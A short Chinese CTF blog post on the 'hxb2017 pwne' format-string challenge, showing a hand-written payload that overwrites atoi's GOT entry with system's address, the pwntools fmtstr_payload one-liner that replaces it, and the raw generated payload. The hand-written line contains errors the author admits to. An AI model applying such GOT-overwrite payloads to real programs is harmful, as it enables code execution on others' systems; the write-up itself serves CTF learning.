CTFctf

hxb2017 pwne easy format vuln

2019-10-31  本文已影响0人  v1gor

pwntools 对格式化字符串漏洞payload的支持

这题本身没啥好记的,就是一个简单的格式化漏洞,但是有个pwntools的骚操作记录一下:

一般泄露了system地址之后,要将system地址覆盖到got.plt表的某个表项或者写到返回地址中,因此都需要使用%?c%?$hn这种方式来向栈上某个指针中写地址.比如这题一开始我payload是这么写的:

payloadpayl = ("%"+str(b1).rjust(2,"0")+"c%16$hhn%"+str(bw2).rjust(2,"0")+"c%17hhn%"+str(bw3).rjust(2,"0")+"c%18hhn").ljust(8*4,"a")+ p32(atoi_got)+p32(atoi_got + 1)+p32(atoi_got + 2)#

很艰辛,然后调试的时候还各种写错误,直到看到了学长的脚本:

payload = fmtstr_payload(7, {atoi_got:system_addr})

一句话就搞定了orz

看了一下生成的payload:

',\xa0\x04\x08-\xa0\x04\x08.\xa0\x04\x08/\xa0\x04\x08%32c%7$hhn%43c%8$hhn%5c%9$hhn%151c%10$hhn'

查了一下pwntools的这个东西,挺好用的,具体参考:

http://docs.pwntools.com/en/stable/fmtstr.html

上一篇下一篇

猜你喜欢

热点阅读